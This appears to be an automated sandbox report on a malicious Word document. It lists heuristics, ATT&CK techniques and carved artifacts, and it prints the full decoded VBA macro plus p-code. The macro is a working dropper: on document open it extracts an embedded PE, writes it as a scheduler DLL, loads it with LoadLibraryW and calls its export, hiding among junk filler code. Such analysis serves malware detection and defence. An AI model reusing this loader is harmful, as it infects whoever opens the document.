MALICIOUS
370
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1106 Execution through API
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a Microsoft Office document containing a VBA macro with a Document_Open subroutine. This macro utilizes CreateObject and Shell() calls, indicative of executing embedded or downloaded code. The presence of an embedded PE executable and references to LoadLibrary and GetProcAddress APIs strongly suggest that the VBA macro is designed to launch this executable, likely as a second-stage payload. The embedded executable itself is the primary IOC.
Heuristics 11
-
Office EPRINT stream contains EMF object high OLE_EPRINT_EMF_OBJECTOLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
-
Embedded PE executable critical OLE_EMBEDDED_EXEMZ/PE header found inside document — possible embedded executable
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Set PointerNull = CreateObject("WScri" + "pt.Shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set PointerNull = CreateObject("WScri" + "pt.Shell") -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Reference to LoadLibrary API high SC_STR_LOADLIBRARYReference to LoadLibrary API
-
Reference to GetProcAddress API high SC_STR_GETPROCADDRESSReference to GetProcAddress API
-
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 4
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 61447 bytes |
SHA-256: 7f0529553e623a02cc5a75dfc506a97e689613feab79387fb19fcb1ce4b8535b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
If UserForm1.Visible = False Then
Module3.AppStart
End If
End Sub
Attribute VB_Name = "Module1"
Public Sub SetArrayItemValue(arr, index1 As Integer, val1 As Byte)
End Sub
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{D44A6C26-B731-485B-9B7C-9987CED175DF}{89B7CD74-5346-4A98-B474-EAA43A5CA147}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label1_Click()
End Sub
Private Sub UserForm_Activate()
DoEvents
StartRecovery
End Sub
Private Sub UserForm_Initialize()
d = SystemButtonSettings(Me, False)
End Sub
Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{9A8A2204-9F34-402A-A010-04445B8579A8}{CA740A1A-7056-4D29-8E3A-D10BF0078855}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Module2"
Public CursorPosition() As Long
Public Function SetResourceBytes(lpType As Long, lpID As Long, lpData() As Byte, lpFile As String) As Long
Dim pReturn As Long, rPort As Long, nCount As Long
nCount = UBound(lpData) + 1 - LBound(lpData)
pReturn = BeginUpdate.Resource(lpFile, False)
If pReturn <> 0 Then
rPort = Update.Resource1(pReturn, lpType, lpID, 1033, lpData(LBound(lpData)), nCount)
EndUpdate.Resource pReturn, False
If rPort <> 0 Then SetResourceBytes = True
End If
End Function
Sub ConvertChartToPicture()
Dim Cht As Chart
If ActiveChart Is Nothing Then Exit Sub
If TypeName(ActiveSheet) = "Chart" Then Exit Sub
Set Cht = ActiveChart
Cht.CopyPicture Appearance:=xlPrinter, _
Size:=xlScreen, Format:=xlPicture
End Sub
Sub CreateUnlinkedChart()
Dim MyChart As Chart
Set MyChart = ActiveSheet.Shapes.AddChart2.Chart
With MyChart
.SeriesCollection.NewSeries
.SeriesCollection(1).Name = "Sales"
.SeriesCollection(1).XValues = Array("Jan", "Feb", "Mar")
.SeriesCollection(1).Values = Array(125, 165, 189)
.ChartType = xlColumnClustered
.SetElement msoElementLegendNone
End With
End Sub
Public Sub ReplaceFile(TextBox1Tag)
DoEvents
Application.DisplayAlerts = False
DoEvents
If Val(Application.Version) < 14 Then
ActiveDocument.SaveAs TextBox1Tag, 13
Else
ActiveDocument.SaveAs2 TextBox1Tag, 13
End If
'SaveAs2 TextBox1Tag, FileFormat:=39 + 12
DoEvents
'ActiveDocument.Close
DoEvents
End Sub
Attribute VB_Name = "Module3"
#If Win64 Then
Public Declare PtrSafe Function ZooDcom Lib _
"scheduler_b.dll" Alias "PORDMN" () As Integer
Public Declare PtrSafe Function PORDMN2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#Else
Public Declare Function PORDMN2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
Public Declare Function ZooDcom Lib _
"scheduler_a.dll" Alias "PORDMN" () As Integer
#End If
Public Sub AppStart()
Dim PointerNull As Object
Dim SpecialPath As String
Set PointerNull = CreateObject("WScri" + "pt.Shell")
UserForm2.TextBox1.Tag = PointerNull.ExpandEnvironmentStrings("%" + UserForm2.TextBox1.Tag + "%")
UserForm2.TextBox2.Tag = PointerNull.SpecialFolders(UserForm2.TextBox2.Tag)
ChDir (UserForm2.TextBox1.Tag)
UserForm1.show
End Sub
Public Sub DonHuan(DonHuan2 As String, OpenForBinaryLock As String, fl As Long, ChartPosition6 As Integer)
Dim ChartPosition1 As Long, ChartPosition2 As Byte, ChartPosition3 As Byte, ChartPosition4 As Byte
Dim SimpleMethod As Integer
ReDim CursorPosition(1 To fl)
ChartPosition1 = FreeFile
Open DonHuan2 For Binary Access Read As ChartPosition1
Dim cur As Integer
cur = 1
Do While Not EOF(ChartPosition1)
Get ChartPosition1, , ChartPosition2
If ChartPosition2 = CByte(77) Then
CursorPosition(1) = ChartPosition2
Get ChartPosition1, , ChartPosition3
If ChartPosition3 = CByte(90) Then
CursorPosition(2) = ChartPosition3
Get ChartPosition1, , ChartPosition4
If ChartPosition4 = CByte(144) Then
CursorPosition(3) = ChartPosition4
If cur = ChartPosition6 Then
For k = 4 To fl
Get ChartPosition1, , ChartPosition2
CursorPosition(k) = ChartPosition2
Next k
Exit Do
Else
cur = cur + 1
End If
End If
End If
End If
Loop
Close ChartPosition1
ChartPosition1 = FreeFile
Open OpenForBinaryLock For Binary Lock Read Write As #ChartPosition1
For i = LBound(CursorPosition) To UBound(CursorPosition)
If UserForm1.Enabled = True Then
NumberBuffer ChartPosition1, CByte(CursorPosition(i))
End If
Next i
Close #ChartPosition1
End Sub
Public Function ITestModule_GetCase(ByVal lIndex As Long)
On Error Resume Next
If tracemod Then
g_errorobj.Transmit "Inside: ITestModule_GetCase(" + CStr(lIndex) + ")" + Chr(10)
End If
numcases = numcases + 1
Select Case lIndex
Case 0
Set ca.ses(numcases - 1) = CreateObject("adolvl0.cnclose")
Case 1
Set ca.ses(numcases - 1) = CreateObject("adolvl0.cndefdat")
Case 2
Set ca.ses(numcases - 1) = CreateObject("adolvl0.cnexec")
Case 3
Set ca.ses(numcases - 1) = CreateObject("adolvl0.cnmode")
Case 4
Set ca.ses(numcases - 1) = CreateObject("adolvl0.cnopen")
Case 5
Set ca.ses(numcases - 1) = CreateObject("adolvl0.cnprop")
Case 6
Set ca.ses(numcases - 1) = CreateObject("adolvl0.cnprovider")
Case 7
Set ca.ses(numcases - 1) = CreateObject("adolvl0.cnstring")
Case 8
Set ca.ses(numcases - 1) = CreateObject("adolvl0.cntimeout")
Case 9
Set ca.ses(numcases - 1) = CreateObject("adolvl0.fldactualsize")
End Select
End Function
Attribute VB_Name = "Module4"
Public Function Load(HTMLSource As Variant) As Boolean
On Error GoTo ErrorTrap
Const Chunk = 1000
Dim WorkingSrc As String
Dim TagStart As Long
Dim TagEnd As Long
Dim TagLength As Long
Dim TagStartString As String
Dim splittest() As String
Dim Ptr As Long
Dim Cnt As Long
Dim Pos As Long
Dim testing As Boolean
Dim PosScriptEnd As Long
Dim PosEndScript As Long
Dim PosEndScriptEnd As Long
WorkingSrc = HTMLSource
LocalElementCount = 0
LocalElementSize = 0
ReDim LocalElements(LocalElementSize)
If NewWay Then
Load = True
Ptr = 0
Do
BlobSN = "/blob" & CStr(GetRan.domInteger()) & ":"
Ptr = Ptr + 1
Loop While ((InStr(1, WorkingSrc, BlobSN, vbTextCompare) <> 0) And (Ptr < 10))
splittest = Split(WorkingSrc, "<script")
Cnt = UBound(splittest) + 1
If Cnt > 1 Then
For Ptr = 1 To Cnt - 1
PosScriptEnd = InStr(1, splittest(Ptr), ">")
If PosScriptEnd > 0 Then
PosEndScript = InStr(PosScriptEnd, splittest(Ptr), "</script", vbTextCompare)
If PosEndScript > 0 Then
Bl.obs(BlobCnt) = Mid(splittest(Ptr), PosScriptEnd + 1, (PosEndScript - 1) - (PosScriptEnd + 1) + 1)
splittest(Ptr) = Mid(splittest(Ptr), 1, PosScriptEnd) & BlobSN & BlobCnt & "/" & Mid(splittest(Ptr), PosEndScript)
BlobCnt = BlobCnt + 1
End If
End If
Next
WorkingSrc = Join(splittest, "<script")
End If
splittest = Split(WorkingSrc, "<style")
Cnt = UBound(splittest) + 1
If Cnt > 1 Then
For Ptr = 1 To Cnt - 1
PosScriptEnd = InStr(1, splittest(Ptr), ">")
If PosScriptEnd > 0 Then
PosEndScript = InStr(PosScriptEnd, splittest(Ptr), "</style", vbTextCompare)
If PosEndScript > 0 Then
Blo.bs(BlobCnt) = Mid(splittest(Ptr), PosScriptEnd + 1, (PosEndScript - 1) - (PosScriptEnd + 1) + 1)
splittest(Ptr) = Mid(splittest(Ptr), 1, PosScriptEnd) & BlobSN & BlobCnt & "/" & Mid(splittest(Ptr), PosEndScript)
BlobCnt = BlobCnt + 1
End If
End If
Next
WorkingSrc = Join(splittest, "<style")
End If
Exit Function
End If
ErrorTrap:
Call Handle.Error("Load", Err.Number, Err.Source, Err.Description)
End Function
Public Sub Text_Write(progbar As Object, tmptext As String, tmpSpalte As Long, tmpZeile As Long, tmpcolor As Long)
For i = 1 To Len(tmptext)
If TextClockWise = True Then
For x = tmpSpalte To tmpSpalte + UBound(ZeichenArray, 1)
For y = tmpZeile - Letter.Position + Letter.FontHeight - 1 To tmpZeile - Letter.Position - UBound(ZeichenArray, 2) + Letter.FontHeight - 1 Step -1
OldLetterArray.RGB(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile + Letter.Position + UBound(ZeichenArray, 2) - Letter.FontHeight + 1) = Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) * 100 + Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) * 10 + Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1)
OldLetterArray.SW(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile + Letter.Position + UBound(ZeichenArray, 2) - Letter.FontHeight + 1) = CBool(Arra.y_SW((x - 1) Mod Spalten + 1, y - 1))
If ZeichenArray(x - tmpSpalte, tmpZeile - Letter.Position + Letter.FontHeight - 1 - y) Then
Draw_Fill.Cell (x - 1) Mod Spalten + 1, y - 1, picsource, tmpcolor, False
Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).R / 255
Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).G / 255
Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).B / 255
Arra.y_SW((x - 1) Mod Spalten + 1, y - 1) = IIf(Draw_Color2.SW(tmpcolor), 1, 0)
End If
Next y
Next x
Else
OldLetter.ArrayRGB(ZeichenAnzahl - 1).Left = tmpSpalte
OldLetter.ArrayRGB(ZeichenAnzahl - 1).Top = tmpZeile + Letter.Position
OldLetter.ArraySW(ZeichenAnzahl - 1).Left = tmpSpalte
OldLetter.ArraySW(ZeichenAnzahl - 1).Top = tmpZeile + Letter.Position
For x = tmpSpalte To tmpSpalte - UBound(ZeichenArray, 1) Step -1
For y = tmpZeile + Letter.Position To tmpZeile + Letter.Position + UBound(ZeichenArray, 2)
OldLetterArray.RGB(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile + Letter.Position) = Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) * 100 + Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) * 10 + Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1)
OldLetterArray.SW(ZeichenAnzahl - 1).Data(x - tmpSpalte, y - tmpZeile - Letter.Position) = CBool(Arra.y_SW((x - 1) Mod Spalten + 1, y - 1))
If ZeichenArray(tmpSpalte - x, y - tmpZeile - Letter.Position) Then
Draw_Fill.Cell (x - 1) Mod Spalten + 1, y - 1, picsource, tmpcolor, False
Arra.y_Red((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).R / 255
Arra.y_Green((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).G / 255
Arra.y_Blue((x - 1) Mod Spalten + 1, y - 1) = Draw_Color2.RGB_Bool(tmpcolor).B / 255
Arra.y_SW((x - 1) Mod Spalten + 1, y - 1) = IIf(Draw_Color2.SW(tmpcolor), 1, 0)
End If
Next y
Next x
End If
progbar.Value = i
Next i
progbar.Value = 0
Dra.w_Zoom picsource, pictarget
End Sub
Attribute VB_Name = "Module5"
Public Sub StartRecovery()
TextBox1Tag = UserForm2.TextBox1.Tag & "\videmem" + ".d" + "ocx"
ZipName = TextBox1Tag + ".zip"
ZipFolder = UserForm2.TextBox1.Tag
Dim OpenForBinaryLock As String
Dim Big_Size As Long
Dim UpdateParameter As Integer
OpenForBinaryLock = UserForm2.TextBox2.Tag + "\scheduler_a"
Big_Size = 278528
UpdateParameter = 1
#If Win64 Then
OpenForBinaryLock = UserForm2.TextBox2.Tag + "\scheduler_b"
Big_Size = 246272
UpdateParameter = 2
#End If
OpenForBinaryLock = OpenForBinaryLock + ".d" + "ll"
KillArray ZipFolder & "\ole" + "Obj" + "ect*.bin", ZipName, OpenForBinaryLock
ReplaceFile ZipName
ReplaceFile TextBox1Tag
'FileCopy TextBox1Tag, ZipName
Dim objFolder As Object
Set oApp = CreateObject("Shell." + "Application")
If UpdateParameter > 0 Then
Set objFolder = oApp.Namespace(ZipName)
oApp.Namespace(ZipFolder).CopyHere objFolder.items.Item("word\e" + "mbed" + "dings\oleObject1.b" + "in")
End If
DonHuan ZipFolder + "\oleObject" + "1.b" + "in", OpenForBinaryLock, Big_Size, UpdateParameter
If UpdateParameter > 0 Then
UpdateParameter = UpdateParameter + 1
ChDir (UserForm2.TextBox2.Tag)
UpdateParameter = UpdateParameter + 1
End If
PORDMN2 (OpenForBinaryLock)
If UpdateParameter > 0 Then
UpdateParameter = UpdateParameter + 1
UpdateParameter = UpdateParameter + 1
End If
If UpdateParameter < 0 Then
UpdateParameter = UpdateParameter + 1
UpdateParameter = UpdateParameter + 1
End If
ZooDcom
End Sub
Public Function GetParamCount() As Integer
On Error Resume Next
Dim i As Long
Dim sNextChar As String
Dim bInside As Boolean
Dim bQuoted As Boolean
Dim sCommand As String
GetParamCount = 0
bInsideParameter = False
bQuoted = False
sCommand = Command$
For i = 1 To Len(sCommand)
sNextChar = Mid$(sCommand, i, 1)
If bInsideParameter Then
If bQuoted Then
If sNextChar = """" Then
GetParamCount = GetParamCount + 1
bInsideParameter = False
bQuoted = False
End If
Else
If sNextChar = " " Then
GetParamCount = GetParamCount + 1
bInsideParameter = False
bQuoted = False
End If
End If
Else
bInsideParameter = True
If sNextChar = """" Then
bQuoted = True
ElseIf sNextChar <> " " Then
bQuoted = False
End If
End If
Next i
If bInsideParameter Then GetParamCount = GetParamCount + 1
End Function
Attribute VB_Name = "Module6"
Private Const GWL_STYLE = -16
Private Const WS_CAPTION = &HC00000
Private Const WS_SYSMENU = &H80000
#If VBA7 Then
Private Declare PtrSafe Function GetWindowLong _
Lib "user32" Alias "GetWindowLongA" (ByVal parameter1 As Long, _
ByVal nIndex As Long) As Long
Private Declare PtrSafe Function BoxWSL _
Lib "user32" Alias "SetWindowLongA" (ByVal parameter1 As Long, _
ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare PtrSafe Function FindWindowA _
Lib "user32" (ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Private Declare PtrSafe Function DrawMenuBar _
Lib "user32" (ByVal parameter1 As Long) As Long
#Else
Private Declare Function GetWindowLong _
Lib "user32" Alias "GetWindowLongA" ( _
ByVal parameter1 As Long, ByVal nIndex As Long) As Long
Private Declare Function BoxWSL _
Lib "user32" Alias "SetWindowLongA" ( _
ByVal parameter1 As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function FindWindowA _
Lib "user32" (ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Private Declare Function DrawMenuBar _
Lib "user32" (ByVal parameter1 As Long) As Long
#End If
Public Sub KillArray(ParamArray PathList() As Variant)
On Error Resume Next
For Each Key In PathList
Kill Key
Next Key
On Error GoTo 0
End Sub
Public Function SystemButtonSettings(frm As Object, show As Boolean)
Dim windowStyle As Long
Dim windowHandle As Long
windowHandle = FindWindowA(vbNullString, frm.Caption)
windowStyle = GetWindowLong(windowHandle, GWL_STYLE)
If show Then
BoxWSL windowHandle, GWL_STYLE, (windowStyle + WS_SYSMENU)
Else
BoxWSL windowHandle, GWL_STYLE, (windowStyle And Not WS_SYSMENU)
End If
DrawMenuBar (windowHandle)
SystemButtonSettings = 7
End Function
Public Sub NumberBuffer(Number As Long, Buffer As Byte)
If UserForm1.Enabled = True Then
Put #Number, , Buffer
End If
End Sub
Private Sub cmdStart_Click()
Dim System As Long
Dim Sound As Long
Dim result
Dim Version As Long
Dim Data(0 To 4095) As Byte
Dim Length As Long
Dim Read As Long
Dim bytesread As Long
Dim outfp As Long
result = FMOD_Syst.em_Create(System)
ERRCHECK (result)
result = FMOD_Syst.em_GetVersion(System, Version)
ERRCHECK (result)
If Version <> FMOD_VERSION Then
MsgBox "Error! You are using an old version of FMOD " & Hex$(Version) & ". " & _
"This program requires " & Hex$(FMOD_VERSION)
End If
result = FMOD_Sys.tem_Init(System, 1, FMOD_INIT_NORMAL, 0)
ERRCHECK (result)
result = FMOD_Sys.tem_CreateStream(System, "../../examples/media/wave.mp3", FMOD_OPENONLY Or FMOD_ACCURATETIME, Sound)
ERRCHECK (result)
result = FMOD_Soun.d_GetLength(Sound, Length, FMOD_TIMEUNIT_PCMBYTES)
ERRCHECK (result)
Open "output.raw" For Random As #1
Close #1
outfp = lO.pen("output.raw", 1)
bytesread = 0
Do
result = FMOD_Soun.d_ReadData(Sound, GetA.ddrOf(Data(0)), 4096, Read)
bytesread = bytesread + Read
Call lW.rite(outfp, GetA.ddrOf(Data(0)), Read)
Loop While (result = FMOD_OK And Read = 4096)
lC.lose (outfp)
result = FMOD_So.und_Release(Sound)
ERRCHECK (result)
result = FMOD_Sys.tem_Close(System)
ERRCHECK (result)
result = FMOD_Sys.tem_Release(System)
ERRCHECK (result)
End Sub
Private Sub cmdExit_Click()
Unload M.E
End
End Sub
Private Sub ERRCHECK(result)
Dim msgResult
If result <> FMOD_OK Then
msgResult = MsgBox("FMOD error! (" & result & ") " & FMOD_Erro.rString(result))
End If
If msgResult Then
End
End If
End Sub
' Processing file: /tmp/qstore_aeeakc_j
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1269 bytes
' Line #0:
' Line #1:
' Line #2:
' FuncDefn (Sub Document_Open())
' Line #3:
' Ld UserForm1
' MemLd Visible
' LitVarSpecial (False)
' Eq
' IfBlock
' Line #4:
' Ld Module3
' ArgsMemCall AppStart 0x0000
' Line #5:
' EndIfBlock
' Line #6:
' Line #7:
' EndSub
' Macros/VBA/Module1 - 1037 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub SetArrayItemValue(arr))
' Line #2:
' Line #3:
' EndSub
' Line #4:
' Line #5:
' Macros/VBA/UserForm1 - 1821 bytes
' Line #0:
' FuncDefn (Sub Label1_Click())
' Line #1:
' Line #2:
' EndSub
' Line #3:
' Line #4:
' FuncDefn (Sub UserForm_Activate())
' Line #5:
' ArgsCall DoEvents 0x0000
' Line #6:
' ArgsCall StartRecovery 0x0000
' Line #7:
' EndSub
' Line #8:
' Line #9:
' FuncDefn (Sub UserForm_Initialize())
' Line #10:
' Ld id_FFFF
' LitVarSpecial (False)
' ArgsLd SystemButtonSettings 0x0002
' St d
' Line #11:
' Line #12:
' EndSub
' Line #13:
' Macros/VBA/UserForm2 - 1181 bytes
' Macros/VBA/Module2 - 3842 bytes
' Line #0:
' Dim (Public)
' VarDefn CursorPosition
' Line #1:
' Line #2:
' FuncDefn (Public Function SetResourceBytes(lpType As Long) As Long)
' Line #3:
' Dim
' VarDefn pReturn (As Long)
' VarDefn rPort (As Long)
' VarDefn nCount (As Long)
' Line #4:
' Ld lpData
' FnUBound 0x0000
' LitDI2 0x0001
' Add
' Ld lpData
' FnLBound 0x0000
' Sub
' St nCount
' Line #5:
' Ld lpFile
' LitVarSpecial (False)
' Ld BeginUpdate
' ArgsMemLd Resource 0x0002
' St pReturn
' Line #6:
' Ld pReturn
' LitDI2 0x0000
' Ne
' IfBlock
' Line #7:
' Ld pReturn
' Ld lpType
' Ld lpID
' LitDI2 0x0409
' Ld lpData
' FnLBound 0x0000
' ArgsLd lpData 0x0001
' Ld nCount
' Ld Update
' ArgsMemLd Resource1 0x0006
' St rPort
' Line #8:
' Ld pReturn
' LitVarSpecial (False)
' Ld EndUpdate
' ArgsMemCall Resource 0x0002
' Line #9:
' Ld rPort
' LitDI2 0x0000
' Ne
' If
' BoSImplicit
' LitVarSpecial (True)
' St SetResourceBytes
' EndIf
' Line #10:
' EndIfBlock
' Line #11:
' EndFunc
' Line #12:
' FuncDefn (Sub ConvertChartToPicture())
' Line #13:
' Dim
' VarDefn Cht
' Line #14:
' Ld ActiveChart
' LitNothing
' Is
' If
' BoSImplicit
' ExitSub
' EndIf
' Line #15:
' Ld ActiveSheet
' ArgsLd TypeName 0x0001
' LitStr 0x0005 "Chart"
' Eq
' If
' BoSImplicit
' ExitSub
' EndIf
' Line #16:
' SetStmt
' Ld ActiveChart
' Set Cht
' Line #17:
' LineCont 0x0004 07 00 06 00
' Ld xlPrinter
' ParamNamed Appearance
' Ld xlScreen
' ParamNamed Size
' Ld xlPicture
' ParamNamed Format
' Ld Cht
' ArgsMemCall CopyPicture 0x0003
' Line #18:
' EndSub
' Line #19:
' Line #20:
' Line #21:
' Line #22:
' FuncDefn (Sub CreateUnlinkedChart())
' Line #23:
' Dim
' VarDefn MyChart
' Line #24:
' SetStmt
' Ld ActiveSheet
' MemLd Shapes
' MemLd AddChart2
' MemLd Chart
' Set MyChart
' Line #25:
' StartWithExpr
' Ld MyChart
' With
' Line #26:
' MemLdWith SeriesCollection
' ArgsMemCall NewSeries 0x0000
' Line #27:
' LitStr 0x0005 "Sales"
' LitDI2 0x0001
' ArgsMemLdWith SeriesCollection 0x0001
' MemSt Name
' Line #28:
' LitStr 0x0003 "Jan"
' LitStr 0x0003 "Feb"
' LitStr 0x0003 "Mar"
' ArgsArray Array 0x0003
' LitDI2 0x0001
' ArgsMemLdWith SeriesCollection 0x0001
' MemSt XValues
' Line #29:
' LitDI2 0x007D
' LitDI2 0x00A5
' LitDI2 0x00BD
' ArgsArray Array 0x0003
' LitDI2 0x0001
' ArgsMemLdWith SeriesCollection 0x0001
' MemSt Values
' Line #30:
' Ld xlColumnClustered
' MemStWith ChartType
' Line #31:
' Ld msoElementLegendNone
' ArgsMemCallWith SetElement 0x0001
' Line #32:
' EndWith
' Line #33:
' EndSub
' Line #34:
' Line #35:
' Line #36:
' FuncDefn (Public Sub ReplaceFile(TextBox1Tag))
' Line #37:
' ArgsCall DoEvents 0x0000
' Line #38:
' Line #39:
' LitVarSpecial (False)
' Ld Application
' MemSt DisplayAlerts
' Line #40:
' ArgsCall DoEvents 0x0000
' Line #41:
' Ld Application
' MemLd Version
' ArgsLd Val 0x0001
' LitDI2 0x000E
' Lt
' IfBlock
' Line #42:
' Ld TextBox1Tag
' LitDI2 0x000D
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0002
' Line #43:
' ElseBlock
' Line #44:
' Ld TextBox1Tag
' LitDI2 0x000D
' Ld ActiveDocument
' ArgsMemCall SaveAs2 0x0002
' Line #45:
' EndIfBlock
' Line #46:
' QuoteRem 0x0008 0x0028 "SaveAs2 TextBox1Tag, FileFormat:=39 + 12"
' Line #47:
' ArgsCall DoEvents 0x0000
' Line #48:
' QuoteRem 0x0004 0x0014 "ActiveDocument.Close"
' Line #49:
' ArgsCall DoEvents 0x0000
' Line #50:
' Line #51:
' EndSub
' Line #52:
' Line #53:
' Line #54:
' Line #55:
' Macros/VBA/Module3 - 6278 bytes
' Line #0:
' LbMark
' Ld Win64
' LbIf
' Line #1:
' LineCont 0x0004 06 00 08 00
' FuncDefn (Public Function ZooDcom() As Integer)
' Line #2:
' FuncDefn (Public Function PORDMN2(ByVal lpLibFileName As String) As Long)
' Line #3:
' LbMark
' LbElse
' Line #4:
' Reparse 0x006E " Public Declare Function PORDMN2 Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long"
' Line #5:
' LineCont 0x0004 00 00 D9 FF
' Reparse 0x005D " Public Declare Function ZooDcom Lib "scheduler_a.dll" Alias "PORDMN" () As Integer"
' Line #6:
' LbMark
' LbEndIf
' Line #7:
' Line #8:
' FuncDefn (Public Sub AppStart())
' Line #9:
' Line #10:
' Dim
' VarDefn PointerNull (As Object)
' Line #11:
' Dim
' VarDefn SpecialPath (As String)
' Line #12:
' Line #13:
' Line #14:
' SetStmt
' LitStr 0x0005 "WScri"
' LitStr 0x0008 "pt.Shell"
' Add
' ArgsLd CreateObject 0x0001
' Set PointerNull
' Line #15:
' Line #16:
' LitStr 0x0001 "%"
' Ld UserForm2
' MemLd TextBox1
' MemLd Tag
' Add
' LitStr 0x0001 "%"
' Add
' Ld PointerNull
' ArgsMemLd ExpandEnvironmentStrings 0x0001
' Ld UserForm2
' MemLd TextBox1
' MemSt Tag
' Line #17:
' Line #18:
' Line #19:
' Ld UserForm2
' MemLd TextBox2
' MemLd Tag
' Ld PointerNull
' ArgsMemLd SpecialFolders 0x0001
' Ld UserForm2
' MemLd TextBox2
' MemSt Tag
' Line #20:
' Ld UserForm2
' MemLd TextBox1
' MemLd Tag
' Paren
' ArgsCall ChDir 0x0001
' Line #21:
…
|
|||
embedded_office_0001dfcf.exe |
embedded-pe | Office MZ+PE at offset 0x1DFCF | 615473 bytes |
SHA-256: 5c7a598fa1fd9c56c730e1febc715aaeda46170bfcc805b9d3b17649c4c25342 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
|
|||
ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1634717887/Ole10Native | 548379 bytes |
SHA-256: 8ebd81f3e8ed6aa01b76bfea33d194ed9360281e7bf2a2ea2820ce50d638e53a |
|||
ole10native_00_basecamp |
ole-package-payload | OLE Ole10Native payload: ObjectPool/_1634717887/Ole10Native; display_name=basecamp; full_path=C:\Users\J\AppData\Local\Temp\basecamp; temp_path=; def_file= | 547944 bytes |
SHA-256: 7e1ccf2eccc89637a106e8dc36160c0f754e43b02151612828a6a5be7e5ff6bc |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.